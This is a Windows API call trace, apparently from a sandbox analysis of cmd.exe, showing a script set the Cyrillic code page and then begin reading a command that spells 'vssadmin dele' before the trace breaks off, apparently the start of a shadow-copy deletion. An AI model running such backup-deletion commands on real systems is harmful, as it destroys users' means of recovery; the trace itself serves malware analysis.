0x259b00 [0067.860] GetProcessHeap () returned 0x240000 [0067.860] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b00, Size=0x12a) returned 0x259b00 [0067.860] GetProcessHeap () returned 0x240000 [0067.860] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b00) returned 0x12a [0067.860] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aabf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.860] GetProcessHeap () returned 0x240000 [0067.860] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x255b70 [0067.860] GetProcessHeap () returned 0x240000 [0067.861] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x255b70, Size=0x7e) returned 0x255b70 [0067.861] GetProcessHeap () returned 0x240000 [0067.861] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b70) returned 0x7e [0068.080] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.080] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x14f170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f170) returned 0xffffffffffffffff [0068.081] GetLastError () returned 0x2 [0068.081] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x14f170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f170) returned 0xffffffffffffffff [0068.081] GetLastError () returned 0x2 [0068.081] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.081] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x14f170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f170) returned 0x255c00 [0068.082] GetProcessHeap () returned 0x240000 [0068.082] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x28) returned 0x254640 [0068.082] FindClose (in: hFindFile=0x255c00 | out: hFindFile=0x255c00) returned 1 [0068.082] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x14f170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f170) returned 0x255c00 [0068.082] GetProcessHeap () returned 0x240000 [0068.082] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x254640, Size=0x8) returned 0x2598f0 [0068.082] FindClose (in: hFindFile=0x255c00 | out: hFindFile=0x255c00) returned 1 [0068.082] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0068.083] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0068.083] GetConsoleTitleW (in: lpConsoleTitle=0x14f6c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.083] GetProcessHeap () returned 0x240000 [0068.083] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259c40 [0068.083] GetConsoleTitleW (in: lpConsoleTitle=0x259c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.083] GetProcessHeap () returned 0x240000 [0068.084] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259c40, Size=0xa8) returned 0x259c40 [0068.084] GetProcessHeap () returned 0x240000 [0068.084] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259c40) returned 0xa8 [0068.084] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0068.085] GetProcessHeap () returned 0x240000 [0068.085] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259c40 | out: hHeap=0x240000) returned 1 [0068.086] InitializeProcThreadAttributeList (in: lpAttributeList=0x14f478, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14f438 | out: lpAttributeList=0x14f478, lpSize=0x14f438) returned 1 [0068.086] UpdateProcThreadAttribute (in: lpAttributeList=0x14f478, dwFlags=0x0, Attribute=0x60001, lpValue=0x14f428, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14f478, lpPreviousValue=0x0) returned 1 [0068.086] GetStartupInfoW (in: lpStartupInfo=0x14f590 | out: lpStartupInfo=0x14f590*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0068.086] GetProcessHeap () returned 0x240000 [0068.086] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254640 [0068.086] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0068.086] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0068.086] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0068.086] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.086] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.086] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.086] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0068.086] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0068.086] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0068.086] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0068.087] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0068.088] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0068.088] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0068.088] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0068.088] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0068.088] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0068.088] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0068.088] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0068.088] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0068.088] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0068.088] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.088] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.088] GetProcessHeap () returned 0x240000 [0068.088] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254640 | out: hHeap=0x240000) returned 1 [0068.088] GetProcessHeap () returned 0x240000 [0068.088] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x258900 [0068.088] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14f4b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14f460 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x14f460*(hProcess=0x54, hThread=0x50, dwProcessId=0x10c, dwThreadId=0x208)) returned 1 [0068.116] CloseHandle (hObject=0x50) returned 1 [0068.116] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.116] GetProcessHeap () returned 0x240000 [0068.116] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c230 | out: hHeap=0x240000) returned 1 [0068.116] GetEnvironmentStringsW () returned 0x25aa10* [0068.117] GetProcessHeap () returned 0x240000 [0068.117] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xae8) returned 0x25b500 [0068.117] FreeEnvironmentStringsW (penv=0x25aa10) returned 1 [0068.117] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0068.117] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0068.117] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14ed68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14ed68, ReturnLength=0x0) returned 0x0 [0068.118] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdd000, lpBuffer=0x14eda0, nSize=0x380, lpNumberOfBytesRead=0x14ed60 | out: lpBuffer=0x14eda0*, lpNumberOfBytesRead=0x14ed60*=0x380) returned 1 [0068.118] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0072.059] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14f3a8 | out: lpExitCode=0x14f3a8*=0x0) returned 1 [0072.059] CloseHandle (hObject=0x54) returned 1 [0072.060] _vsnwprintf (in: _Buffer=0x14f618, _BufferCount=0x13, _Format="%08X", _ArgList=0x14f3b8 | out: _Buffer="00000000") returned 8 [0072.060] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0072.060] GetProcessHeap () returned 0x240000 [0072.060] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25b500 | out: hHeap=0x240000) returned 1 [0072.060] GetEnvironmentStringsW () returned 0x25aa10* [0072.060] GetProcessHeap () returned 0x240000 [0072.060] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25eb10 [0072.060] FreeEnvironmentStringsW (penv=0x25aa10) returned 1 [0072.060] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.060] GetProcessHeap () returned 0x240000 [0072.060] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25eb10 | out: hHeap=0x240000) returned 1 [0072.060] GetEnvironmentStringsW () returned 0x25aa10* [0072.061] GetProcessHeap () returned 0x240000 [0072.061] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25eb10 [0072.061] FreeEnvironmentStringsW (penv=0x25aa10) returned 1 [0072.061] GetProcessHeap () returned 0x240000 [0072.061] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258900 | out: hHeap=0x240000) returned 1 [0072.061] DeleteProcThreadAttributeList (in: lpAttributeList=0x14f478 | out: lpAttributeList=0x14f478) [0072.551] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.569] _get_osfhandle (_FileHandle=1) returned 0xf4 [0072.569] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0072.570] _get_osfhandle (_FileHandle=1) returned 0xf4 [0072.570] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4aabe194 | out: lpMode=0x4aabe194) returned 0 [0072.570] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.570] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4aabe198 | out: lpMode=0x4aabe198) returned 0 [0072.571] GetConsoleOutputCP () returned 0x4e3 [0072.571] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4aacbfe0 | out: lpCPInfo=0x4aacbfe0) returned 1 [0072.573] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.573] GetProcessHeap () returned 0x240000 [0072.573] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0072.573] GetProcessHeap () returned 0x240000 [0072.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b00 | out: hHeap=0x240000) returned 1 [0072.574] GetProcessHeap () returned 0x240000 [0072.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241cd0 | out: hHeap=0x240000) returned 1 [0072.574] GetProcessHeap () returned 0x240000 [0072.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259a80 | out: hHeap=0x240000) returned 1 [0072.574] GetProcessHeap () returned 0x240000 [0072.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2598a0 | out: hHeap=0x240000) returned 1 [0072.574] GetProcessHeap () returned 0x240000 [0072.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0072.574] GetProcessHeap () returned 0x240000 [0072.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0072.574] GetProcessHeap () returned 0x240000 [0072.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0072.574] GetProcessHeap () returned 0x240000 [0072.574] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0072.575] _vsnwprintf (in: _Buffer=0x4aad6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f8d8 | out: _Buffer="\r\n") returned 2 [0072.575] _get_osfhandle (_FileHandle=1) returned 0xf4 [0072.575] GetFileType (hFile=0xf4) returned 0x3 [0072.575] _get_osfhandle (_FileHandle=1) returned 0xf4 [0072.575] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4aacc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.575] WriteFile (in: hFile=0xf4, lpBuffer=0x4aacc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f8a8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesWritten=0x14f8a8*=0x2, lpOverlapped=0x0) returned 1 [0072.575] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aabf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.576] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aacc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.576] _vsnwprintf (in: _Buffer=0x4aabeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f8e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.576] _vsnwprintf (in: _Buffer=0x4aabebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f8e8 | out: _Buffer=">") returned 1 [0072.576] _get_osfhandle (_FileHandle=1) returned 0xf4 [0072.576] GetFileType (hFile=0xf4) returned 0x3 [0072.576] _get_osfhandle (_FileHandle=1) returned 0xf4 [0072.576] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4aacc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.576] WriteFile (in: hFile=0xf4, lpBuffer=0x4aacc320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f8d8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesWritten=0x14f8d8*=0x26, lpOverlapped=0x0) returned 1 [0072.577] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.577] GetFileType (hFile=0xe8) returned 0x3 [0072.577] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.577] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.577] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.577] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0072.577] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.577] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.578] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.578] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0072.578] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.578] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.578] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.578] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0072.578] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.578] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.578] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.578] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0072.578] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.578] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.578] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.579] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0072.579] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.579] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.579] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.579] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0072.579] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.579] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.579] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.579] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0072.579] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.579] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.579] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.579] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0072.580] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.580] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.580] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.580] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0072.580] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.580] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.580] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.580] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0072.580] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.580] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.580] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.580] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0072.580] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.581] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.581] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.581] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0072.581] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.581] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.581] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.581] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aacc320, cbMultiByte=1, lpWideCharStr=0x4aace338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0072.581] _get_osfhandle (_FileHandle=0) returned 0xe8 [0072.581] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.581] ReadFile (in: hFile=0xe8, lpBuffer=0x4aacc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14fbd8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesRead=0x14fbd8*=0x1, lpOverlapped=0x0) returned 1 [0072.582] MultiByteToWideChar (in: CodePage=0x4e3, 